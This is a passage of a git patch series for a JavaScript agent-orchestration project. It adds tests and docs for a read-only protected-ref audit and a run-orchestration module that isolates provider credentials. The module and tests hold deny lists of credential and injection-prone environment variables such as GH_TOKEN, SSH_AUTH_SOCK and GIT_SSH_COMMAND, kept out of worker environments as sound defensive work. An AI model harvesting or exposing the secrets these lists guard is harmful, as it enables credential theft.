DENIED_OPERATIONS, + classifyGitOperationV1, + expectedLaneRefV1, +} from '../mcp/v3/git-authority.mjs'; +import { + MAX_AUDIT_REFS, + PROTECTED_REF_AUDIT_FAILING_CODES, + PROTECTED_REF_AUDIT_FINDING_CODES, + PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS, + PROTECTED_REF_AUDIT_SCHEMA_ID, + PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS, + PROTECTED_REF_AUDIT_VERSION, + auditProtectedRefsV1, + describeProtectedRefAuditV1, + parseProtectedRefAuditRequestV1, +} from '../mcp/v3/protected-ref-audit.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { CONTENT_FREE } from './fixtures/r1-git-authority-fixtures.mjs'; +import { + ASSIGNMENT_ID, + MAIN_REF, + RUN_ID, + createBareProtectedRepo, + createLinkedWorktreeProtectedRepo, + createLocalProtectedRepo, + createMissingDefaultRepo, + createMovedProtectedRepo, + createPackedProtectedRepo, + createRecordingSpawn, + createSymbolicProtectedRepo, + fixtureGitCommands, + snapshotRepositoryIdentity, + validIdentity, + validRequest, +} from './fixtures/r1-protected-ref-audit-fixtures.mjs'; + +const LANE_DIGEST = 'ab'.repeat(32); + +function errorOf(action) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }, + ); +} + +function assertContentFree(value, extras = []) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes('/tmp'), false, 'must not leak repository paths'); + assert.equal(text.includes('https://'), false, 'must not leak URLs'); + assert.equal(text.includes('git@'), false, 'must not leak hosting URLs'); + for (const extra of extras) { + assert.equal(text.includes(extra), false, `must not echo ${extra}`); + } + const message = typeof value === 'string' ? value : value?.message; + if (typeof message === 'string') assert.match(message, CONTENT_FREE); +} + +function assertNoSideEffects(receipt) { + for (const key of PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS) { + assert.equal(receipt.side_effects[key], false, key); + } +} + +function assertInspectedEnv(records) { + assert.ok(records.length >= 1); + for (const record of records) { + assert.equal(record.file, '/usr/bin/git'); + assert.equal(record.cwd, '/'); + assert.deepEqual(record.env, { ...GIT_INSPECT_ENV }); + assert.equal(Object.hasOwn(record.env, 'GIT_DIR'), false); + assert.equal(Object.hasOwn(record.env, 'GH_TOKEN'), false); + assert.equal(Object.hasOwn(record.env, 'SSH_AUTH_SOCK'), false); + assert.equal(record.env.GIT_ASKPASS, ''); + assert.equal(record.env.GIT_TERMINAL_PROMPT, '0'); + } + for (const command of fixtureGitCommands(records)) { + assert.equal( + PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS.includes(command), + true, + command, + ); + } +} + +test('ProtectedRefAuditV1 is a closed frozen v1 audit and not a 4.0.0 major', () => { + assert.equal(PROTECTED_REF_AUDIT_SCHEMA_ID, 'codex-co-engineer.protected-ref-audit.v1'); + assert.equal(PROTECTED_REF_AUDIT_VERSION, 1); + assert.equal(PROTECTED_REF_AUDIT_SCHEMA_ID.includes('4.0.0'), false); + const inventory = describeProtectedRefAuditV1(); + assert.ok(Object.isFrozen(inventory)); + assert.equal(inventory.rule, 'read_only_live_protected_ref_compare'); + assert.equal(inventory.max_audit_refs, MAX_AUDIT_REFS); + assert.equal(inventory.composed_surfaces.remote_mutation, 'denied'); + assert.equal(inventory.inspect_env, GIT_INSPECT_ENV); + assert.deepEqual([...inventory.finding_codes], [...PROTECTED_REF_AUDIT_FINDING_CODES]); + assert.deepEqual([...inventory.failing_codes], [...PROTECTED_REF_AUDIT_FAILING_CODES]); +}); + +test('matching local protected and default refs verify with content-free evidence', async () => { + const repo = await createLocalProtectedRepo(); + const recording = createRecordingSpawn(); + try { + const before = await snapshotRepositoryIdentity(repo.path); + const receipt = await auditProtectedRefsV1( + validRequest(repo.path, repo.baseSha, { + expected_refs: [ + { ref: MAIN_REF, sha: repo.baseSha }, + { ref: 'refs/tags/v1', sha: repo.tagSha }, + ], + }), + { spawn: recording.spawn }, + ); + assert.equal(receipt.status, 'verified'); + assert.equal(receipt.repository_kind, 'local'); + assert.equal(receipt.run_id, RUN_ID); + assert.equal(receipt.assignment_id, ASSIGNMENT_ID); + assert.equal(receipt.comparisons.length, 2); + assert.equal(receipt.comparisons[0].outcome, 'match'); + assert.equal(receipt.comparisons[0].default_branch_target, true); + assert.equal(receipt.comparisons[1].ref_class, 'user_protected'); + assert.equal(receipt.findings.length, 0); + const fact = parseVerifiedFactV1(receipt.facts[0]); + assert.equal(fact.method, 'protected_ref_snapshot_compare'); + assert.equal(fact.authority, 'platform_git'); + assert.equal(fact.status, 'verified'); + assert.equal(receipt.discrepancies.length, 0); + assertNoSideEffects(receipt); + assertContentFree(receipt, [repo.path, 'https://', 'git@']); + assertInspectedEnv(recording.records); + const after = await snapshotRepositoryIdentity(repo.path); + assert.deepEqual(after, before); + } finally { + await repo.cleanup(); + } +}); + +test('packed protected refs still match expected identities', async () => { + const repo = await createPackedProtectedRepo(); + try { + const before = await snapshotRepositoryIdentity(repo.path); + const receipt = await auditProtectedRefsV1(validRequest(repo.path, repo.baseSha)); + assert.equal(receipt.status, 'verified'); + assert.equal(receipt.comparisons[0].storage, 'packed'); + assert.equal(receipt.observed_classes.includes('packed_ref'), true); + assert.equal(receipt.observation.packed_count, 1); + assertNoSideEffects(receipt); + const after = await snapshotRepositoryIdentity(repo.path); + assert.deepEqual(after, before); + } finally { + await repo.cleanup(); + } +}); + +test('bare repositories compare declared protected refs without mutation', async () => { + const repo = await createBareProtectedRepo(); + try { + const before = await snapshotRepositoryIdentity(repo.path); + const receipt = await auditProtectedRefsV1(validRequest(repo.path, repo.baseSha)); + assert.equal(receipt.status, 'verified'); + assert.equal(receipt.repository_kind, 'bare'); + assertNoSideEffects(receipt); + const after = await snapshotRepositoryIdentity(repo.path); + assert.deepEqual(after, before); + } finally { + await repo.cleanup(); + } +}); + +test('linked worktrees audit shared protected refs through the worktree path', async () => { + const repo = await createLinkedWorktreeProtectedRepo(); + try { + const beforeRoot = await snapshotRepositoryIdentity(repo.path); + const beforeWt = await snapshotRepositoryIdentity(repo.worktreePath); + const receipt = await auditProtectedRefsV1(validRequest(repo.worktreePath, repo.baseSha)); + assert.equal(receipt.status, 'verified'); + assert.equal(receipt.repository_kind, 'linked_worktree'); + assertContentFree(receipt, [repo.path, repo.worktreePath]); + const afterRoot = await snapshotRepositoryIdentity(repo.path); + const afterWt = await snapshotRepositoryIdentity(repo.worktreePath); + assert.deepEqual(afterRoot, beforeRoot); + assert.deepEqual(afterWt, beforeWt); + } finally { + await repo.cleanup(); + } +}); + +test('missing and moved protected refs fail closed with deterministic findings', async () => { + const missingRepo = await createMissingDefaultRepo(); + try { + const before = await snapshotRepositoryIdentity(missingRepo.path); + const missing = await auditProtectedRefsV1(validRequest(missingRepo.path, missingRepo.baseSha, { + expected_refs: [{ ref: 'refs/heads/master', sha: missingRepo.baseSha }], + })); + assert.equal(missing.status, 'failed'); + assert.equal(missing.findings[0].code, 'missing_ref'); + assert.equal(missing.observed_classes.includes('missing_ref'), true); + parseEvidenceDiscrepancyV1(missing.discrepancies[0]); + assert.equal(missing.discrepancies[0].discrepancy_kind, 'security'); + assertContentFree(missing, [missingRepo.path, 'refs/heads/master']); + const after = await snapshotRepositoryIdentity(missingRepo.path); + assert.deepEqual(after, before); + } finally { + await missingRepo.cleanup(); + } + + const movedRepo = await createMovedProtectedRepo(); + try { + const before = await snapshotRepositoryIdentity(movedRepo.path); + const moved = await auditProtectedRefsV1(validRequest(movedRepo.path, movedRepo.baseSha)); + assert.equal(moved.status, 'failed'); + assert.equal(moved.findings[0].code, 'moved_ref'); + assert.equal(moved.facts[0].status, 'failed'); + assertContentFree(moved, [movedRepo.path]); + const after = await snapshotRepositoryIdentity(movedRepo.path); + assert.deepEqual(after, before); + } finally { + await movedRepo.cleanup(); + } +}); + +test('symbolic protected refs fail closed without rewriting refs', async () => { + const repo = await createSymbolicProtectedRepo(); + try { + const before = await snapshotRepositoryIdentity(repo.path); + const receipt = await auditProtectedRefsV1(validRequest(repo.path, repo.baseSha, { + expected_refs: [{ ref: repo.aliasRef, sha: repo.baseSha }], + default_branch: 'release', + })); + assert.equal(receipt.status, 'failed'); + assert.equal(receipt.findings[0].code, 'symbolic_ref'); + assert.equal(receipt.comparisons[0].storage, 'symbolic'); + assert.equal(receipt.discrepancies[0].discrepancy_kind, 'security'); + assertContentFree(receipt, [repo.path, 'release']); + const after = await snapshotRepositoryIdentity(repo.path); + assert.deepEqual(after, before); + } finally { + await repo.cleanup(); + } +}); + +test('worker-lane refs are not protected-audit targets', async () => { + const repo = await createLocalProtectedRepo(); + try { + const lane = expectedLaneRefV1({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + manifest_digest_hex: LANE_DIGEST, + }); + const error = await errorOf(() => auditProtectedRefsV1(validRequest(repo.path, repo.baseSha, { + expected_refs: [{ ref: lane, sha: repo.baseSha }], + identity: validIdentity(repo.path, repo.baseSha), + manifest_digest_hex: LANE_DIGEST, + }))); + assert.equal(error.code, 'expected_ref_not_protected'); + assertContentFree(error, [lane, repo.path]); + } finally { + await repo.cleanup(); + } +}); + +test('parse rejects empty or oversized expected-ref lists before any git spawn', async () => { + const repo = await createLocalProtectedRepo(); + const recording = createRecordingSpawn(); + try { + const empty = await errorOf(() => parseProtectedRefAuditRequestV1(validRequest( + repo.path, repo.baseSha, { expected_refs: [] }, + ))); + assert.equal(empty.code, 'out_of_range'); + const oversized = []; + for (let i = 0; i < MAX_AUDIT_REFS + 1; i += 1) { + oversized.push({ ref: `refs/heads/extra${i}`, sha: repo.baseSha }); + } + const many = await errorOf(() => auditProtectedRefsV1( + validRequest(repo.path, repo.baseSha, { expected_refs: oversized }), + { spawn: recording.spawn }, + )); + assert.equal(many.code, 'out_of_range'); + assert.equal(recording.records.length, 0); + } finally { + await repo.cleanup(); + } +}); + +test('accepted P28 and P29 mutation denials remain closed through the audit', () => { + for (const operation of DENIED_OPERATIONS) { + const verdict = classifyGitOperationV1({ + schema: 'codex-co-engineer.git-authority.v1', + version: 1, + actor: 'worker', + operation, + identity: validIdentity('/tmp/cce-r1-authority-repo', 'a'.repeat(40)), + }); + assert.equal(verdict.verdict, 'denied', operation); + assert.throws(() => denyWorkerRemoteMutation(operation)); + } +}); From 14e7a8b6d4c83715e534fc2cde35e3399dabe8b5 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 16:52:28 +0000 Subject: [PATCH 103/151] docs(boundary): record the P30 protected-ref audit Document the read-only live comparison boundary, its P28/P29 composition, content-free evidence, and non-goals. Add the P30 changelog entry and an additive future-work note that API, orchestration, release, and Gate A remain later work. --- CHANGELOG.md | 15 +++++ docs/future-work.md | 13 +++- docs/protected-ref-audit.md | 116 ++++++++++++++++++++++++++++++++++++ 3 files changed, 143 insertions(+), 1 deletion(-) create mode 100644 docs/protected-ref-audit.md diff --git a/CHANGELOG.md b/CHANGELOG.md index dd69577..fe8d090 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,21 @@ ### Added +- **Live protected-ref audit.** Adds additive v3 `protected-ref-audit.mjs` + (P30): a read-only live comparison of declared protected and default refs + against immutable expected identities. Local, bare, and linked-worktree + repositories are observed argv-only under the accepted P29 inspect + environment. Missing, moved, aliased, symbolic, packed, hostile, and raced + refs produce deterministic content-free evidence; packed storage that still + matches its expected SHA verifies. The audit consumes accepted P28 + classification and P29 remote-mutation denial without wrapping or weakening + them, never materializes credentials, and never mutates refs, worktrees, + indexes, config, or remotes. Receipts project P13 + `protected_ref_snapshot_compare` facts plus an all-false side-effect + nonclaim map. No API, run orchestration, release, or Gate A scope. + Coverage lives in `test/r1-protected-ref-audit.test.mjs` and + `test/r1-protected-ref-audit-adversarial.test.mjs`; boundaries live in + `docs/protected-ref-audit.md`. - **Provider registry composition authority.** Adds the additive v3 `provider-registry.mjs` module (P23): the deterministic, closed composition authority behind provider selection. It registers exactly the diff --git a/docs/future-work.md b/docs/future-work.md index 159abba..ac21f65 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -6,7 +6,7 @@ Status: specified, not implemented. Priority: high Component: Codex-Co-Engineer -Last updated: 2026-08-23 +Last updated: 2026-08-25 The accepted architecture for R1 is [ADR 0001](adr/0001-r1-bounded-run-architecture.md). It defines a 3.3.0 run @@ -40,6 +40,17 @@ credential-free repository identity, and denied merge/push/create-PR/ tag/release operations. It does not mutate Git, isolate credentials (P29), or audit live refs (P30). +The P30 `ProtectedRefAuditV1` is in-tree as a read-only live comparison of +declared protected/default refs against immutable expected identities. It +consumes accepted P28 classification and P29 inspect-environment / +remote-mutation denial without wrapping them. Local, bare, and +linked-worktree layouts, packed vs loose storage, symbolic/aliased refs, +and snapshot races are covered with content-free evidence. It does not +mutate refs, worktrees, indexes, or config; it does not materialize +credentials or access remotes; it does not expose an API, run +orchestration, release, or Gate A authority. See +[protected-ref-audit.md](protected-ref-audit.md). + The P11 local provider result sink is in-tree as an additive provider-neutral router: final local Grok ACP, Cursor Local ACP, and DSH ACPX/CLI output is published through the accepted P09 sanitizer and P08 diff --git a/docs/protected-ref-audit.md b/docs/protected-ref-audit.md new file mode 100644 index 0000000..8edc56d --- /dev/null +++ b/docs/protected-ref-audit.md @@ -0,0 +1,116 @@ +# Live protected-ref audit (P30) + +The P30 live protected-ref audit is one additive v3 module, +`plugins/codex-co-engineer/mcp/v3/protected-ref-audit.mjs`. It compares +declared protected and default refs against immutable expected identities +on the host. It does not mutate Git, materialize credentials, talk to a +remote, expose an API, dispatch a run, or claim Gate A / release +authority. + +## Read-only comparison + +`auditProtectedRefsV1(request, options?)` observes the local repository +and returns a detached, deeply frozen receipt. A passing audit and a +failing audit both leave the repository byte-identical: the same files, +the same refs, the same index, and the same config. The only process +spawns are argv-only git observations (`rev-parse`, `for-each-ref`) under +the accepted P29 inspect environment with `--no-replace-objects +--no-optional-locks`, disabled hooks/fsmonitor/untracked-cache, so even +advisory lock files cannot appear as an observation side effect. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/protected-ref-audit.mjs` +- `plugins/codex-co-engineer/test/r1-protected-ref-audit.test.mjs` +- `plugins/codex-co-engineer/test/r1-protected-ref-audit-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-protected-ref-audit-fixtures.mjs` +- this document + +## Declared protected and default refs + +The request names the credential-free P28 identity and an explicit list of +`{ref, sha}` expected identities. Every declared ref must be a P28 +protected or default ref (`classifyRefV1` / `isProtectedRefV1`). Worker +lane refs, unclassified grammar, and hostile names fail closed before any +git process starts. Expected SHAs are exact 40-character lowercase hex +object identities. + +The live snapshot records, for each declared ref, a content-free +comparison: + +| Outcome | Meaning | +| --- | --- | +| `match` | observed object name equals the expected SHA | +| `missing_ref` | declared ref is absent | +| `moved_ref` | declared ref exists but points at a different object | +| `symbolic_ref` | declared ref is a symbolic ref | +| `aliased_ref` | declared ref is an alias or filesystem symlink | +| `packed_ref` | storage class: the matching or mismatched ref is packed, not loose | +| `race_detected` | the two read-only snapshots disagreed | + +Packed storage is evidence, not a failure: a packed protected ref that +still matches its expected SHA verifies. Missing, moved, symbolic, +aliased, hostile, and raced refs fail the receipt. + +Repository kinds covered by the same comparison: local worktrees, bare +repositories, and linked worktrees. Replace refs, grafts, and shallow +files fail closed because object identity would no longer be exact. + +## Content-free evidence + +Receipts and typed errors never echo repository paths, URLs, credentials, +provider text, or hostile refs. Findings carry closed codes, P28 +`ref_class`, a storage class, and booleans only. Verified and failed +receipts both project one P13 `git_identity` fact with method +`protected_ref_snapshot_compare` and authority `platform_git`. Failures +add one P13 `security` discrepancy (`security_boundary`), matching the +accepted P28 evidence projection. + +The receipt also carries an all-false side-effect nonclaim map: +`ref_mutated`, `worktree_mutated`, `index_mutated`, `config_mutated`, +`remote_mutated`, `credentials_accessed`, `packed_refs_rewritten`. + +## Composition + +P30 consumes accepted surfaces and invents none of their semantics: + +| Surface | Owner | Use here | +| --- | --- | --- | +| Protected/default classification, lane namespace, operation authority | P28 `git-authority.mjs` | `parseGitAuthorityPolicyV1`, `classifyRefV1`, `isProtectedRefV1`, `classifyGitOperationV1` | +| Closed inspect environment and remote-mutation denial | P29 `credential-boundary.mjs` | `GIT_INSPECT_ENV`, `denyWorkerRemoteMutation` | +| Evidence records | P13 `evidence-bundle.mjs` | `parseVerifiedFactV1` / `parseEvidenceDiscrepancyV1` | +| API, run orchestration, credential files, release, Gate A | later slices | not invoked | + +P28 remains the authority-policy seam. P29 remains the credential and +remote-mutation isolation boundary. This module does not wrap either, does +not load credential files, and does not grant merge, rebase, push, PR, +tag, or protected-ref write authority. `read_only_inspect` is the only +accepted operation. + +## Non-goals + +No ref, worktree, index, or config mutation. No remote credential access. +No credential materialization. No GitHub, merge, rebase, push, PR, tag, +or protected/default-ref authority. No public API, run orchestration, +release, or Gate A scope. + +## API + +- `parseProtectedRefAuditRequestV1(request)` — quarantines the request and + binds P28 classification without observing Git. +- `auditProtectedRefsV1(request, options?)` — async; returns a detached, + deeply frozen receipt. `options` may inject `spawn` (test seam). +- `describeProtectedRefAuditV1()` — deterministic deep-frozen inventory of + the schema, bounds, checks, error codes, and nonclaims. +- `PROTECTED_REF_AUDIT_SCHEMA_ID`, `PROTECTED_REF_AUDIT_VERSION`, + `MAX_AUDIT_REFS`, `PROTECTED_REF_AUDIT_FINDING_CODES`, + `PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS`, + `PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS`, + `PROTECTED_REF_AUDIT_ERROR_CODES`. + +## Testing + +``` +node --no-warnings --test test/r1-protected-ref-audit.test.mjs \ + test/r1-protected-ref-audit-adversarial.test.mjs +``` From d920a37be87b758ded20ecd7a95f907e0106fa5d Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 17:02:39 +0000 Subject: [PATCH 104/151] feat(run): bind preflight to closed environment projection Add the P31 orchestration boundary. Accepted P26 preflight runs first; capacity and other preflight denials fail closed with zero projection, handoff, dispatch, workspace, or reservation. Only a ready receipt authorizes P29 per-lane closed environments, credential-free argv, and identity-bound handoff cleanup on failure, cancel, terminal, and restart. Remote mutation stays denied. No workspace provisioning, P30 audit, public API, or supervisor cutover. --- .../mcp/v3/run-orchestration.mjs | 632 ++++++++++++++++++ 1 file changed, 632 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/run-orchestration.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/run-orchestration.mjs b/plugins/codex-co-engineer/mcp/v3/run-orchestration.mjs new file mode 100644 index 0000000..a27a67e --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-orchestration.mjs @@ -0,0 +1,632 @@ +// RunOrchestrationV1 — run dispatch orchestration boundary (P31). +// +// Additive v3 module. It binds accepted P26 preflight to accepted P29 closed +// credential/environment projection BEFORE any workspace, branch or ref, +// reservation, dispatch, credential handoff, or provider process exists. +// +// Fail-closed pipeline: +// 1. hostile-input quarantine of the orchestration request; +// 2. accepted P26 `validateRunPreflightV1()` — capacity denial and every +// other preflight failure rethrow unchanged with zero side effects: +// no environment projection, no credential-file read, no handoff, no +// dispatcher call, no workspace, no reservation, no provider process; +// 3. only after a ready preflight, P29 closed projection per resolved +// lane (`materializeProviderEnvironment`) plus isolation and +// remote-mutation denial; +// 4. prepare returns that binding and still creates no handoff and no +// process; dispatch is an explicit later intent through an injected +// seam, never a hidden default and never supervisor cutover; +// 5. dispatch creates owner-only P29 handoffs (secrets never in argv), +// invokes the injected dispatcher with the closed map, and on +// failure/cancel/terminal/restart unlinks remaining handoff files +// via the process identity P29 already owns. +// +// This boundary never provisions a workspace, never creates a branch or +// ref, never holds a reservation, never audits live refs (P30), never +// exposes a public API, and never claims Gate A. P23 composition is not +// invoked. Upstream P26/P29 denial codes pass through unchanged. + +import { createHash } from 'node:crypto'; + +import { + CREDENTIAL_BOUNDARY_ERROR_CODES, + CREDENTIAL_BOUNDARY_SCHEMA_ID, + CREDENTIAL_FILE_ENV_KEYS, + CredentialBoundaryError, + DSH_OX_MODEL, + assertNoWorkerPushUrl, + collectLaneSecrets, + createCredentialHandoff, + denyWorkerRemoteMutation, + extractCredentialEnv, + inspectArgvForSecrets, + inspectEnvForSecrets, + materializeProviderEnvironment, + recoverCredentialHandoffByIdentity, +} from './credential-boundary.mjs'; +import { capturedFreeze, capturedIncludes, capturedOwnKeys } from './grammar.mjs'; +import { + RUN_PREFLIGHT_ERROR_CODES, + RUN_PREFLIGHT_SCHEMA_ID, + RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + validateRunPreflightV1, +} from './run-preflight.mjs'; +import { RunContractV1Error, isPlainObject } from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const RUN_ORCHESTRATION_SCHEMA_ID = 'codex-co-engineer.run-orchestration.v1'; +export const RUN_ORCHESTRATION_VERSION = 1; + +export const ORCHESTRATION_INTENTS = capturedFreeze(['prepare', 'dispatch']); +export const ORCHESTRATION_REQUEST_ALLOWED_KEYS = capturedFreeze(['manifest', 'intent']); +export const ORCHESTRATION_OPTIONS_ALLOWED_KEYS = capturedFreeze([ + 'host', 'spawn', 'env', 'dispatch', +]); + +export const RUN_ORCHESTRATION_CHECKS = capturedFreeze([ + 'request_quarantine', + 'preflight', + 'capacity', + 'closed_environment_projection', + 'provider_isolation', + 'remote_mutation_denied', + 'credential_handoff_deferred_until_dispatch', + 'cleanup_on_failure_cancel_terminal_restart', +]); + +export const RUN_ORCHESTRATION_SIDE_EFFECTS = capturedFreeze([ + 'workspace_created', + 'branch_or_ref_created', + 'reservation_held', + 'task_dispatched', + 'credentials_projected', + 'credential_handoff_created', + 'provider_process_started', + 'remote_mutated', + 'protected_ref_audited', + 'public_api_exposed', +]); + +export const RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS = capturedFreeze([ + 'workspace_created', + 'branch_or_ref_created', + 'reservation_held', + 'remote_mutated', + 'protected_ref_audited', + 'public_api_exposed', +]); + +export const RUN_ORCHESTRATION_ERROR_CODES = capturedFreeze([ + 'orchestration_intent_invalid', + 'orchestration_dispatcher_required', + 'orchestration_selection_unresolved', + 'orchestration_dispatch_failed', + 'orchestration_session_unknown', + 'orchestration_lane_isolation_failed', + 'orchestration_argv_secret_denied', +]); + +const PRIVATE_RECEIPT_KEYS = capturedFreeze([ + 'schema', 'version', 'status', 'run_id', 'intent', 'preflight', 'lanes', + 'checks', 'side_effects', +]); +const PRIVATE_LANE_KEYS = capturedFreeze([ + 'assignment_id', 'provider', 'model', 'status', 'identity', + 'projected_keys', 'credential_present', +]); +const PRIVATE_CROSS_PROVIDER_SECRET_KEYS = capturedFreeze([ + 'CURSOR_API_KEY', 'MODEL_API_KEY', 'OPENROUTER_API_KEY', 'XAI_API_KEY', +]); +const PRIVATE_ALWAYS_FORBIDDEN_KEYS = capturedFreeze([ + 'BITBUCKET_TOKEN', 'GH_TOKEN', 'GITHUB_TOKEN', 'GITLAB_TOKEN', 'GIT_SSH', + 'GIT_SSH_COMMAND', 'NODE_OPTIONS', 'NODE_PATH', 'SSH_AGENT_PID', + 'SSH_AUTH_SOCK', 'WORKTREE_BOOTSTRAP_TASK', + ...CREDENTIAL_FILE_ENV_KEYS, +]); +const PRIVATE_CONTENT_FREE = capturedFreeze({ + orchestration_intent_invalid: 'The orchestration intent is not in the closed vocabulary.', + orchestration_dispatcher_required: 'Dispatch requires an injected dispatcher seam.', + orchestration_selection_unresolved: 'Dispatch requires every lane to carry an exact provider.', + orchestration_dispatch_failed: 'Provider dispatch failed closed.', + orchestration_session_unknown: 'The orchestration session is not available.', + orchestration_lane_isolation_failed: 'A lane projection violated provider isolation.', + orchestration_argv_secret_denied: 'Provider argv cannot carry credential material.', +}); + +const PRIVATE_SESSIONS = new WeakMap(); + +function failOrchestration(code, errorPath) { + fail(code, errorPath, PRIVATE_CONTENT_FREE[code] ?? 'The orchestration request failed closed.'); +} + +function sortedOwnKeys(value) { + const keys = capturedOwnKeys(value); + const sorted = [...keys]; + sorted.sort(); + return sorted; +} + +function assertClosedKeySet(value, allowedKeys, errorPath) { + for (const key of sortedOwnKeys(value)) { + if (!capturedIncludes(allowedKeys, key)) { + fail('invalid_format', `${errorPath}.${key}`, + `${errorPath} carries a key outside the closed orchestration vocabulary.`); + } + } +} + +function emptySideEffects() { + const sideEffects = {}; + for (const claim of RUN_ORCHESTRATION_SIDE_EFFECTS) sideEffects[claim] = false; + return sideEffects; +} + +function laneIdentity(runId, assignmentId) { + return createHash('sha256') + .update(`p31:${runId}:${assignmentId}`) + .digest('hex') + .slice(0, 32); +} + +function parseIntent(request) { + if (!hasOwn(request, 'intent')) return 'prepare'; + const intent = ownDataValue(request, 'intent', 'request.intent'); + if (typeof intent !== 'string' || !capturedIncludes(ORCHESTRATION_INTENTS, intent)) { + failOrchestration('orchestration_intent_invalid', 'request.intent'); + } + return intent; +} + +function parseRequest(request) { + if (request === undefined || request === null) { + fail('invalid_type', 'request', 'An orchestration request must be a plain JSON data object.'); + } + assertNotProxy(request, 'request'); + if (!isPlainObject(request)) { + fail('invalid_type', 'request', 'An orchestration request must be a plain JSON data object.'); + } + assertDirectJsonClosure(request, 'request'); + freezeData(request); + assertClosedKeySet(request, ORCHESTRATION_REQUEST_ALLOWED_KEYS, 'request'); + if (!hasOwn(request, 'manifest')) { + fail('missing_key', 'request.manifest', + 'request.manifest is required; orchestration requests have no hidden defaults.'); + } + const manifest = ownDataValue(request, 'manifest', 'request.manifest'); + const intent = parseIntent(request); + return capturedFreeze({ manifest, intent }); +} + +function parseOptions(options) { + if (options === undefined) { + return { + host: null, + spawn: undefined, + dispatch: null, + envOwner: null, + }; + } + assertNotProxy(options, 'options'); + if (!isPlainObject(options)) { + fail('invalid_type', 'options', 'options must be a plain JSON data object.'); + } + assertClosedKeySet(options, ORCHESTRATION_OPTIONS_ALLOWED_KEYS, 'options'); + let spawn; + if (hasOwn(options, 'spawn')) { + spawn = ownDataValue(options, 'spawn', 'options.spawn'); + if (typeof spawn !== 'function') { + fail('invalid_type', 'options.spawn', 'options.spawn must be a spawn function.'); + } + assertNotProxy(spawn, 'options.spawn'); + } + let dispatch = null; + if (hasOwn(options, 'dispatch')) { + dispatch = ownDataValue(options, 'dispatch', 'options.dispatch'); + if (typeof dispatch !== 'function') { + fail('invalid_type', 'options.dispatch', 'options.dispatch must be a function.'); + } + assertNotProxy(dispatch, 'options.dispatch'); + } + let host = null; + if (hasOwn(options, 'host')) { + host = ownDataValue(options, 'host', 'options.host'); + } + return { + host, + spawn, + dispatch, + envOwner: hasOwn(options, 'env') ? options : null, + }; +} + +function preflightOptionsFrom(parsed) { + const options = {}; + if (parsed.host !== null) options.host = parsed.host; + if (parsed.spawn !== undefined) options.spawn = parsed.spawn; + return options; +} + +function takeEnvAfterPreflight(parsed) { + if (parsed.envOwner === null) return process.env; + return ownDataValue(parsed.envOwner, 'env', 'options.env'); +} + +function allowedCredentialKey(provider, dshModel) { + if (provider === 'grok') return 'XAI_API_KEY'; + if (provider === 'cursor-cloud') return 'CURSOR_API_KEY'; + if (provider === 'dsh' && dshModel === DSH_OX_MODEL) return 'OPENROUTER_API_KEY'; + if (provider === 'dsh') return 'MODEL_API_KEY'; + return null; +} + +function assertLaneIsolation(env, provider, dshModel) { + for (const key of PRIVATE_ALWAYS_FORBIDDEN_KEYS) { + if (Object.hasOwn(env, key)) failOrchestration('orchestration_lane_isolation_failed', 'lanes'); + } + const allowed = allowedCredentialKey(provider, dshModel); + for (const key of PRIVATE_CROSS_PROVIDER_SECRET_KEYS) { + if (key === allowed) continue; + if (Object.hasOwn(env, key)) failOrchestration('orchestration_lane_isolation_failed', 'lanes'); + } + if (env.GIT_TERMINAL_PROMPT !== '0' || env.GIT_ASKPASS !== '' || env.GIT_PUSH_OPTION_COUNT !== '0') { + failOrchestration('orchestration_lane_isolation_failed', 'lanes'); + } + assertNoWorkerPushUrl(env); +} + +function foreignSecrets(envSource, provider, dshModel) { + const allowed = allowedCredentialKey(provider, dshModel); + const secrets = []; + const extracted = extractCredentialEnv(envSource); + for (const key of PRIVATE_CROSS_PROVIDER_SECRET_KEYS) { + if (key === allowed) continue; + if (typeof extracted[key] === 'string' && extracted[key].length > 0) secrets.push(extracted[key]); + } + const ambient = collectLaneSecrets(envSource); + for (const value of ambient) { + if (allowed && extracted[allowed] === value) continue; + if (!secrets.includes(value)) secrets.push(value); + } + return secrets; +} + +function resolveLaneExecution(assignment) { + const execution = assignment?.execution; + if (!execution || typeof execution !== 'object') { + return { provider: null, model: null, dshModel: undefined, resolved: false }; + } + if (typeof execution.profile === 'string' && execution.profile.length > 0) { + return { provider: null, model: null, dshModel: undefined, resolved: false }; + } + if (typeof execution.provider !== 'string' || typeof execution.model !== 'string') { + return { provider: null, model: null, dshModel: undefined, resolved: false }; + } + const dshModel = execution.provider === 'dsh' ? execution.model : undefined; + return { + provider: execution.provider, + model: execution.model, + dshModel, + resolved: true, + }; +} + +async function projectManifestLanes(runId, assignments, envSource) { + const publicLanes = []; + const internal = []; + for (const assignment of assignments) { + const assignmentId = assignment.assignment_id; + const identity = laneIdentity(runId, assignmentId); + const resolved = resolveLaneExecution(assignment); + if (!resolved.resolved) { + const lane = capturedFreeze({ + assignment_id: assignmentId, + provider: null, + model: null, + status: 'selection_unresolved', + identity, + projected_keys: capturedFreeze([]), + credential_present: false, + }); + publicLanes.push(lane); + 